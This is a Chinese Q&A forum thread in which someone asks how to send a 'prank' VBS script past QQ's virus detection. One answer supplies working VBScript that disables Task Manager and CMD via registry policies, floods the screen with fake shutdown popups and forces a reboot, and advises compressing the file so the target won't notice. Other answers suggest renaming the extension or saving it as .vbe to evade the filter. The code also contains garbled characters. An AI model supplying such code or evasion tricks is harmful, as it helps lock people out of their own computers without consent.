Question

vbs整人代码怎么发送给别人

qq发送不了，上面说有病毒，推荐个没病毒的代码，或者别的整人方法

Answer 1

简单啊。你把VBS后搏腊面改成.VBS就可以了。还有，别忘了得压缩。你不压缩别人一看到就知道这是个耍人的脚本了， 求积分，顺便附上一个代码，

set s=createobject("wscript.shell")
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
For Each id in pipe
if instr(1,id.commandLine,wscript.scriptfullname)<>0 and pipe.count>=2 then
s.regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",0,"REG_DWORD"
id.terminate()
else
s.regwrite"HKCU\基基滑Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",1,"REG_DWORD"
s.regwrite"HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD",1,"REG_DWORD"
for i=1 to 200
s.popup"系统将在"& 1-i &"秒后关机...",1,"系统提示",4096+48
next
Set colOS = GetObject("winmgmts:{(Shutdown)}").ExecQuery("Select * FROM Win32_OperatingSystem")
For Each eOs In colOS
eOs.Win32Shutdown(2)
Next
end if
Next
[color=#FF0000]

这是个耍人的代码，可以让他电脑关机后重启后任务管理器打不开。CMD也打不开。 想要解决的方法就是先打开一次这个脚本，然后会提示关机，在没关机前你再打开一次那个脚本就锋拿好了

Answer 2

改掉后缀，比较vbsx，然后告诉别人先去掉x然后双击

Answer 3

把你的VBs 保存成.vbe后缀。